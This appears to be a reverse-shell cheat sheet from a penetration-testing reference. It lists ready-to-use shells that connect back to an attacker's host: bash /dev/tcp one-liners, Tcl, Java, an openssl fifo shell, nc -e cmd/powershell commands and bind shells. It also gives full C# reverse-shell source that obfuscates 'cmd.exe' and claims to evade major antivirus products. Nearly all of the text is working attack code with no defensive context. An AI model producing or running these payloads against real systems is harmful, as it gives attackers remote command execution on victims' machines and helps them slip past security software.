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Reverse shells

Listener

Before any reverse shell, you need to set up the listener, which will listen to a port and receive connections :

nc -lvvp <PORT>

Bash

In TCP :

bash -i >& /dev/tcp/<IP>/<PORT> 0>&1

exec 5<>/dev/tcp/<IP>/<PORT>;cat <&5 | while read line; do $line 2>&5 >&5; done

exec /bin/sh 0</dev/tcp/<IP>/<PORT> 1>&0 2>&0

0<&196;exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196

 

TCLsh

#!/usr/bin/tclsh
set s [socket <IP> <PORT>];
while {42} {
puts -nonewline $s "shell>";
flush $s;
gets $s c;
set e "exec $c";
if {![catch {set r [eval $e]} err]} {
puts $s $r;
}
flush $s;
}
close $s;

One-liner version :

echo 'set s [socket <IP> <PORT>];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh

 

 

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5< >/dev/tcp/<IP>/<PORT>;cat <& 5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

 

On PWN'd Client

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <IP>:<PORT> > /tmp/s; rm /tmp/s

 

C#

This is a simple C# source code to bypass almost "all" AVs (kaspersky v19, Eset v12 v13, Trend-Micro v16, Comodo and Windows Defender bypassed via this very simple method)

Step 1 (Linux Side:192.168.56.1)   : nc -l -p 443 

Step 2 (Windows Side:192.168.56.x) : NativePayload_ReverseShell.exe 192.168.56.1 443

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net.Sockets;
using System.Threading;
using System.IO;
using System.Diagnostics;

namespace NativePayload_ReverseShell
{
    class Program
    {
        public static StringBuilder _Liger = new StringBuilder();
        private static StreamWriter _LionTiger;
        static void Main(string[] args)
        {
	    //// Step 1 (linux Side:192.168.56.1)   : nc -l -p 443 
	    //// Step 2 (Windows Side:192.168.56.x) : NativePayload_ReverseShell.exe 192.168.56.1 443 

 	    Console.WriteLine();
            Console.ForegroundColor = ConsoleColor.DarkGray;
            Console.WriteLine("NativePayload_ReverseShell , Published by Damon Mohammadbagher , 2018");
            Console.ForegroundColor = ConsoleColor.Gray;
            Console.WriteLine("NativePayload_ReverseShell , C# Managed Shell Code (Reverse Shell)");
            Console.WriteLine();

            try
            {
                using (TcpClient Simple = new TcpClient(args[0].ToString(), Convert.ToInt32(args[1])))
                {
                    Thread.Sleep(1100);
                    using (Stream Very = Simple.GetStream())
                    {
                        using (StreamReader OoPS = new StreamReader(Very))
                        {
                            _LionTiger = new StreamWriter(Very);
                            Process _Tiger = new Process();
                            Thread.Sleep(3300);
                            _Tiger.StartInfo.FileName = Convert.ToString("0123456789CmD" + "." + "e" + "XE l;X E f k X  E sgkf;sk X  E f s ; xefs;s").Substring(10, 8);
                            _Tiger.StartInfo.CreateNoWindow = true;
                            _Tiger.StartInfo.UseShellExecute = false;
                            _Tiger.OutputDataReceived += _OutputDataReceived;
                            _Tiger.StartInfo.RedirectStandardOutput = true;
                            _Tiger.StartInfo.RedirectStandardInput = true;
                            _Tiger.StartInfo.RedirectStandardError = true;
                            _Tiger.Start();
                            _Tiger.BeginOutputReadLine();
                            while (true)
                            {
                                Thread.Sleep(3000);
                                _Liger.Append(OoPS.ReadLine());
                                _Tiger.StandardInput.WriteLine(_Liger);
                                _Liger.Remove(0, _Liger.Length);
                            }
                        }
                    }

                }
            }
            catch (Exception) {  }
        }

        private static void _OutputDataReceived(object sender, DataReceivedEventArgs echo)
        {
            StringBuilder strOutput = new StringBuilder();

            if (!String.IsNullOrEmpty(echo.Data))
            {
                try
                {
                    strOutput.Append(echo.Data);
                    _LionTiger.WriteLine(strOutput);
                    _LionTiger.Flush();
                }
                catch (Exception err) { }
            }
        }
    }
}

 

Reverse Powershell

#32bit
nc.exe $ATTACKER_HOST $ATTACKER_PORT -e powershell

#64bit nc64.exe $ATTACKER_HOST $ATTACKER_PORT -e powershell

Reverse Windows

#32bit
nc.exe $ATTACKER_HOST $ATTACKER_PORT -e cmd
#64bit
nc64.exe $ATTACKER_HOST $ATTACKER_PORT -e cmd

Bind Powershell

#32bit
nc.exe -l -p $LISTENPORT -e powershell
#64bit
nc64.exe -l -p $LISTENPORT -e powershell